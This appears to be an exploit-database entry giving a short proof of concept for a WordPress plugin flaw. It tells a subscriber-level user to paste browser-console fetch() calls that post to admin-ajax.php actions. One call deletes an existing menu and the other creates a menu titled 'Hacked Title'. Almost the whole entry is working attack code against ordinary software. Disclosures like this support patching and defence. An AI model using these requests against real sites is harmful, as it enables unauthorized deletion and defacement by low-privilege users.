Share
## https://sploitus.com/exploit?id=WPEX-ID:F8F84D47-49AA-4258-A8A6-3DE8E7342623
Log in as a subscriber, and paste any of the following fetch() call in your browser's console:

# Deletes an existing menu
fetch("http://vulnerable-site.tld/wp-admin/admin-ajax.php?action=delete_menu", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
   },
  "body": "data[cwa_id]=test",
  "method": "POST",
})

# Creates a new menu with a title set to "Hacked Title"
fetch("http://vulnerable-site.tld/wp-admin/admin-ajax.php?action=add_menu", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
   },
  "body": "data[cwa_id]=test&data[cwa_name]=Hacked+Title",
  "method": "POST",
})